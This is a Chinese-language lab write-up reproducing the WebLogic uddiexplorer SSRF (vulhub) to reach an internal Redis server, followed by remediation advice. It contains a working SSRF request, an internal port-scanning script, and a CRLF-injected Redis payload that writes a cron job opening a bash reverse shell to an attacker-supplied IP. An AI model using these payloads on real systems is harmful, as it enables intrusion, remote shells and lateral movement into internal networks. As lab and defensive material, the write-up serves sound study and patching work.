WebLogic SSRF漏洞攻擊內網Redis以及反彈shell
漏洞概述:
-通俗的講weblogci是一種web容器,首先判斷redis(內網ip和端口),由於Redis是通過換行符來分隔每條命令,可以通過傳入%0a%0d來注入換行符,發送redis命令,將彈shell腳本寫入/etc/crontab中(crontab是一個linux一個定時執行事件的一個程序),然後getshell。
基本原理:
- SSRF漏洞:是一種由攻擊者構造形成由服務端發起請求的漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統(正是因爲它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)
- SSRF成因:由於服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。簡單來說就是,利用可以發送請求的服務器當作跳板來攻擊內部其他的服務。
- SSRF繞過:借用一下,很全很棒。ssrf繞過
漏洞搭建:
- https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
漏洞復現:
首先利用SSRF漏洞進行redis端口探測,然後進行反彈shell。
-SSRF
漏洞存在於search,當搜索的時候,抓包的時候可以看到
然後把post改成get傳值,operator參數存在ssrf
payload:http://xxx.xxx.xxx.xxx:xxxx[這個是WebLogic服務的IP]/uddiexplorer/SearchPublicRegistries.jsp?operator=http://xxx.xxx.xxx.xxxx[這個是想要探測的內網IP]&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
查看An error has occurred 裏面返回狀態判斷內網ip和端口(借用某大佬的)
瞭解到現在就可以進行redis探測了,可以寫個小腳本,跑一下端口
import requests
for i in xrange(1,10000):
print i
url = "http://172.18.0.1:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:{port}".format(port=i)
r = requests.get(url)
if "Tried all" in r.content:
continue
else:
print "port---------------------"+ str(i)
exit(0)
然後嘗試該端口是否正常,如圖,返回是content-type
=null也就是請求開放的服務,因爲開啓6379,所以猜測爲redis服務器
- 反彈shell
然後就可以構造反彈shell的命令
set xx "\n* * * * * bash -i >& /dev/tcp/xxxx/123 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
因爲是get請求,所以要進行url編碼,同時還是制定一個寫入的文件,這裏我就叫test,最終構造好爲(%od%oa爲換行符)
operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
然後即可獲取shell
漏洞修復:
- 升級weblogic或將SearchPublicRegistries.jsp直接刪除。
- 刪除uddiexplorer文件夾或限制uddiexplorer應用只能內網訪問。
- 也可以將uudi包實現包uddiexplorer.war下的SearchPublicRegistries.jsp重命名爲SearchPublicRegistries.jspx
- 多說一句,對於ssrf的修復方案:
1, 用不需要的協議如(file,ftp,gopher)
2, 統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠程服務器端口狀態。
3, 限制請求的端口爲http常用的端口,比如,80,443,8080,8090。
4, 過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那麼在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。
5, 黑名單內網ip。避免應用被用來獲取獲取內網數據,攻擊內網。
ps:餘生很長,請多指教。